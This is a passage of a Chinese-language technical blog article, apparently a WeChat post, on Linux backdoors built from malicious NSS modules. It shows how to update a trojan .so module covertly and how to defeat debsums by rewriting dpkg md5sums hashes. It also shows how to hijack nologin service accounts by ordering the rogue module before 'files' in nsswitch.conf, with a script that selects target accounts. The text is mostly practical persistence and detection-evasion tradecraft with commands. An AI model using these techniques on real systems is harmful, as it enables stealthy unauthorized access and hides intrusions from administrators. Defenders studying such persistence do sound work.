0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">覆盖 </span><code><span leaf="">.so</span></code><span leaf=""> 文件</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">⚠️ 不受影响（NODELETE）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 加载新版</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">实战意义</span></strong><span leaf="">：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">应急清除</span></strong><span leaf="">：只需移除 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 或修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf="">，新进程立即不受影响，但已建立的 SSH 会话可能仍有效</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">隐蔽更新</span></strong><span leaf="">：直接覆盖 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件即可更新后门，新连接自动使用新版</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">6.2 绕过 debsums 检测</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 0x05 中，我们用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums -a -c</span></code><span leaf=""> 验证了替换 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件的后门能被检测到（0x04 方式则完全不被 debsums 发现，详见 4.4 节）。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 的原理很简单——它将磁盘上文件的 MD5 哈希与包管理器数据库中记录的原始哈希进行对比。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">debsums 的工作原理</span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">debsums -a -c</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个命令做了两件事：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">读取 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/var/lib/dpkg/info/&lt;包名&gt;.md5sums</span></code><span leaf=""> 文件，获取每个文件安装时的 MD5 哈希</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">计算磁盘上对应文件的当前 MD5，两者不一致则报告</span></p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">查看 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss-systemd</span></code><span leaf=""> 包的校验数据：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">cat /var/lib/dpkg/info/libnss-systemd:amd64.md5sums</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14074074074074075" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019438" src="https://wechat2rss.xlab.app/img-proxy/?k=97251d81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YgRASkAIxrOQ00HVD1EAY4zploNiceNMlsCSgDUv6Cuawjd1Xia7PFOAld6wyNODScW9mxSvNItVHkq2c7TYyor7MboX5snribMD4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对比当前木马模块的哈希，哈希不一致，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 自然会报警。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">绕过方法：篡改 md5sums 文件</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">既然 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 是从本地文件读取校验数据，那我们只需要将 md5sums 文件中的哈希值替换为木马模块的实际哈希：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 获取木马模块的 MD5</span></span><span leaf=""><br/></span><span leaf="">md5sum /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 替换 md5sums 文件中的对应条目</span></span><span leaf=""><br/></span><span leaf="">/var/lib/dpkg/info/libnss-systemd:amd64.md5sums</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">验证：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">debsums -a -c</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.45740740740740743" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019445" src="https://wechat2rss.xlab.app/img-proxy/?k=8a6383b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YgJ1oZWaic9JgbQ4woN3aKicdJxyRjwg5HQPZO8sAF4ZXCyosaibPXTupun2AiamQTpVIgj8LJx7qHsYjFbmJHDR7U22x1yXSyqtUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">补充：0x04 vs 0x05 的 debsums 检测差异</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">回顾 0x04 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 测试（4.4 节）——</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums -a -c</span></code><strong style="font-weight: bold;color: black;"><span leaf="">没有报告任何异常</span></strong><span leaf="">。因为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 不属于任何包，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_nop.so.2</span></code><span leaf=""> 也不属于任何包，两者都不在 debsums 的校验范围内。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这意味着：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">0x04 方式：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><strong style="font-weight: bold;color: black;"><span leaf="">完全检测不到</span></strong><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 和新增 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 都不属于任何包）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">0x05 方式：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 能发现 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_systemd.so.2</span></code><span leaf=""> 的哈希变化（属于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss-systemd</span></code><span leaf=""> 包），但篡改 md5sums 后即可绕过</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">局限性</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这种绕过方法只对 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 有效。更专业的文件完整性工具（如 AIDE、Tripwire、OSSEC）使用独立的数据库存储校验信息，且数据库本身有保护机制，篡改 md5sums 文件无法绕过它们。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">6.3 复用已有服务账户</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面 0x04 和 0x05 都是创建一个新用户 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">backdoor</span></code><span leaf="">，这种方式有一个明显的风险，当在日志中发现 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">backdoor</span></code><span leaf=""> 这样的系统中不存在的账户时，有些运维和安全人员会比较警觉，能够通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent passwd backdoor</span></code><span leaf="">（精确查询）能查到后门用户，而 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cat /etc/passwd | grep backdoor</span></code><span leaf=""> 找不到，两者对比就能发现异常。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">更隐蔽的思路是：</span><strong style="font-weight: bold;color: black;"><span leaf="">复用系统已有的服务账户</span></strong><span leaf="">。这些账户已经存在于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 中，登录时不会产生&#34;未知用户&#34;的异常日志。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">为什么之前的方案做不到？</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">0x04 和 0x05 中，后门数据源（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf="">）都排在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><strong style="font-weight: bold;color: black;"><span leaf="">后面</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">passwd:    files systemd</span><span leaf=""><br/></span><span leaf="">shadow:    files systemd</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 中已有用户，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 内置模块直接命中并返回 SUCCESS，后续数据源永远不会被调用。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">解决方法：把我们的模块排在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 前面。</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">passwd:    nop files systemd</span><span leaf=""><br/></span><span leaf="">shadow:    nop files systemd</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这样 NSS 查询链变成：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">getpwnam(&#34;landscape&#34;)</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ nop → 我们返回修改后的数据（shell=/bin/bash + 密码）→ SUCCESS → 链停止</span><span leaf=""><br/></span><span leaf="">  └─ files → 不会被调用</span><span leaf=""><br/></span><span leaf="">getpwnam(&#34;test&#34;)  ← 非目标用户</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ nop → 不是目标用户 → NOTFOUND</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ files → 在 /etc/passwd 中找到 → SUCCESS → 正常返回，完全不受影响</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">选择合适的服务账户</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">不是所有服务账户都适合复用。需要满足以下条件：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">当前没有运行中的进程</span></strong><span leaf="">：如果该账户有活跃进程，修改其 NSS 数据可能导致服务异常</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">shell 为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/usr/sbin/nologin</span></code></strong><span leaf="">：原本就是禁止登录的账户，改了 shell 才有意义</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">不会在特定时刻被服务启动</span></strong><span leaf="">：某些账户（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_apt</span></code><span leaf="">）在 apt 操作时会被临时使用</span></p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以下脚本可以自动筛选出合适的服务账户：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#!/bin/bash</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 筛选适合复用的服务账户：无活跃进程 + shell 为 nologin</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=== 适合复用的服务账户 ===&#34;</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">awk -F: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;$3 &gt;= 1 &amp;&amp; $3 &lt; 65534 &amp;&amp; $7 == &#34;/usr/sbin/nologin&#34; {print $1}&#39;</span></span><span leaf=""> /etc/passwd | </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">read</span></span><span leaf=""> user; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">do</span></span><span leaf=""><br/></span><span leaf="">    pids=$(ps -u </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$user</span></span><span leaf="">&#34;</span></span><span leaf=""> -o pid= 2&gt;/dev/null | tr -d </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> [ -z </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$pids</span></span><span leaf="">&#34;</span></span><span leaf=""> ]; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">then</span></span><span leaf=""><br/></span><span leaf="">        uid=$(id -u </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$user</span></span><span leaf="">&#34;</span></span><span leaf=""> 2&gt;/dev/null)</span><span leaf=""><br/></span><span leaf="">        desc=$(grep </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;^</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${user}</span></span><span leaf="">:&#34;</span></span><span leaf=""> /etc/passwd | cut -d: -f5)</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;  </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$user</span></span><span leaf=""> (UID=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$uid</span></span><span leaf="">) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$desc</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">fi</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">done</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=== 有活跃进程的账户（不建议使用）===&#34;</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">awk -F: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;$3 &gt;= 1 &amp;&amp; $3 &lt; 65534 &amp;&amp; $7 == &#34;/usr/sbin/nologin&#34; {print $1}&#39;</span></span><span leaf=""> /etc/passwd | </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">read</span></span><span leaf=""> user; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">do</span></span><span leaf=""><br/></span><span leaf="">    pids=$(ps -u </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$user</span></span><span leaf="">&#34;</span></span><span leaf=""> -o pid= 2&gt;/dev/null | tr -d </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span 